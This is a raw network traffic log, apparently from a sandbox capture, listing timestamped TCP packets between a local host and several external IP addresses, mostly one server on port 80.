Nov 12, 2024 10:37:32.708808899 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.717510939 CET	443	49919	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:32.723226070 CET	49919	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:32.723242044 CET	443	49919	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:32.723712921 CET	443	49919	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:32.724435091 CET	49919	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:32.724524975 CET	443	49919	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:32.724642038 CET	49919	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:32.771334887 CET	443	49919	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:32.777353048 CET	49919	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:32.784349918 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.784382105 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.784394979 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.784411907 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.784432888 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.784616947 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.784672022 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.784697056 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.784708977 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.784737110 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.784761906 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.823399067 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.823411942 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.823422909 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.823462963 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.823508978 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.823530912 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.823543072 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.823554993 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.823573112 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.823595047 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.824018955 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.824071884 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.824099064 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.824111938 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.824147940 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.824274063 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.824285984 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.824326992 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.824392080 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.824404001 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.824414968 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.824421883 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.824431896 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.824451923 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.824476004 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.824639082 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.824651003 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.824677944 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.824702024 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.824713945 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.824726105 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.824748993 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.824765921 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.825007915 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.825020075 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.825031042 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.825058937 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.825079918 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.825099945 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.825113058 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.825139046 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.825156927 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.825288057 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.825299025 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.825310946 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.825320959 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.825330019 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.825335979 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.825356960 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.825382948 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.825534105 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.825612068 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.825638056 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.825675011 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.825772047 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.825783014 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.825793982 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.825798988 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.825804949 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.825817108 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.825826883 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.825843096 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.825853109 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.825864077 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.825880051 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.825902939 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.826275110 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.826505899 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.851769924 CET	443	49919	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:32.851854086 CET	443	49919	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:32.852077961 CET	49919	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:32.853100061 CET	49919	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:32.853118896 CET	443	49919	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:32.901220083 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.901268959 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.901278973 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.901294947 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.901314020 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.901324987 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.901362896 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.901415110 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.901459932 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.901469946 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.901504040 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.901510000 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.901721954 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.904974937 CET	49926	443	192.168.2.6	104.46.162.225
Nov 12, 2024 10:37:32.905011892 CET	443	49926	104.46.162.225	192.168.2.6
Nov 12, 2024 10:37:32.905108929 CET	49926	443	192.168.2.6	104.46.162.225
Nov 12, 2024 10:37:32.905442953 CET	49926	443	192.168.2.6	104.46.162.225
Nov 12, 2024 10:37:32.905453920 CET	443	49926	104.46.162.225	192.168.2.6
Nov 12, 2024 10:37:32.907532930 CET	49927	443	192.168.2.6	20.125.209.212
Nov 12, 2024 10:37:32.907577038 CET	443	49927	20.125.209.212	192.168.2.6
Nov 12, 2024 10:37:32.907651901 CET	49927	443	192.168.2.6	20.125.209.212
Nov 12, 2024 10:37:32.907865047 CET	49927	443	192.168.2.6	20.125.209.212
Nov 12, 2024 10:37:32.907876968 CET	443	49927	20.125.209.212	192.168.2.6
Nov 12, 2024 10:37:32.940551996 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.940576077 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.940587997 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.940634012 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.940670013 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.940707922 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.940732956 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.940758944 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.940785885 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.940901995 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.940937996 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.940985918 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.940998077 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.941031933 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.941082001 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.941093922 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.941123962 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.941205978 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.941226959 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.941241980 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.941283941 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.941302061 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.941333055 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.941386938 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.941397905 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.941430092 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.941443920 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.941454887 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.941477060 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.941490889 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.941523075 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.941534042 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.941546917 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.941567898 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.941591978 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.941732883 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.941745043 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.941756010 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.941776037 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.941796064 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.941833973 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.941869020 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.941921949 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.941932917 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.941961050 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.942040920 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.942053080 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.942085981 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.942203999 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.942214966 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.942225933 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.942239046 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.942248106 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.942251921 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.942291975 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.942408085 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.942451000 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.942511082 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.942552090 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.942586899 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.942599058 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.942624092 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.942651033 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.942701101 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.942722082 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.942748070 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.942783117 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.942806959 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.942817926 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.942852974 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.942864895 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.942887068 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.942903042 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.942924023 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:32.943231106 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:32.957521915 CET	49928	443	192.168.2.6	3.170.115.57
Nov 12, 2024 10:37:32.957555056 CET	443	49928	3.170.115.57	192.168.2.6
Nov 12, 2024 10:37:32.957734108 CET	49928	443	192.168.2.6	3.170.115.57
Nov 12, 2024 10:37:32.958050013 CET	49928	443	192.168.2.6	3.170.115.57
Nov 12, 2024 10:37:32.958060026 CET	443	49928	3.170.115.57	192.168.2.6
Nov 12, 2024 10:37:32.963785887 CET	49929	443	192.168.2.6	20.75.60.91
Nov 12, 2024 10:37:32.963843107 CET	443	49929	20.75.60.91	192.168.2.6
Nov 12, 2024 10:37:32.964059114 CET	49929	443	192.168.2.6	20.75.60.91
Nov 12, 2024 10:37:32.964260101 CET	49929	443	192.168.2.6	20.75.60.91
Nov 12, 2024 10:37:32.964273930 CET	443	49929	20.75.60.91	192.168.2.6
Nov 12, 2024 10:37:33.001544952 CET	443	49920	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:33.001868963 CET	49920	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:33.001905918 CET	443	49920	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:33.002263069 CET	443	49920	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:33.003274918 CET	49920	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:33.003355026 CET	443	49920	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:33.003458023 CET	49920	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:33.018543005 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.018604994 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.018618107 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.018654108 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.018702984 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.018841028 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.018851995 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.018886089 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.047344923 CET	443	49920	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:33.057449102 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.057501078 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.057511091 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.057529926 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.057565928 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.057573080 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.057579994 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.057615042 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.057657003 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.057701111 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.057740927 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.057776928 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.057799101 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.057809114 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.057832956 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.057882071 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.057892084 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.057902098 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.057925940 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.057949066 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.057996035 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.058016062 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.058054924 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.058115005 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.058149099 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.058171988 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.058182001 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.058207989 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.058223963 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.058233976 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.058245897 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.058274984 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.058353901 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.058414936 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.058450937 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.058485985 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.058496952 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.058509111 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.058530092 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.058545113 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.058665037 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.058701992 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.058737993 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.058773994 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.058857918 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.058870077 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.058881998 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.058893919 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.058902979 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.058929920 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.059037924 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.059081078 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.059144974 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.059156895 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.059168100 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.059180975 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.059184074 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.059206963 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.059236050 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.059438944 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.059449911 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.059461117 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.059473038 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.059480906 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.059485912 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.059495926 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.059499979 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.059521914 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.059536934 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.059803963 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.059817076 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.059828043 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.059839010 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.059850931 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.059856892 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.059886932 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.060092926 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.060102940 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.060138941 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.103461981 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.103488922 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.103502035 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.103598118 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.103598118 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.135423899 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.135462046 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.135477066 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.135500908 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.135544062 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.144023895 CET	443	49920	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:33.144052982 CET	443	49920	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:33.144162893 CET	49920	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:33.144191027 CET	443	49920	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:33.144467115 CET	443	49920	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:33.144530058 CET	49920	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:33.173939943 CET	49920	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:33.173959017 CET	443	49920	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:33.174421072 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.174433947 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.174444914 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.174455881 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.174470901 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.174498081 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.174505949 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.174536943 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.174559116 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.174580097 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.174701929 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.174704075 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.174725056 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.174735069 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.174768925 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.174806118 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.174818039 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.174829006 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.174848080 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.174874067 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.174972057 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.174983025 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.174993992 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.175014973 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.175035954 CET	49834	80	192.168.2.6	185.215.113.206
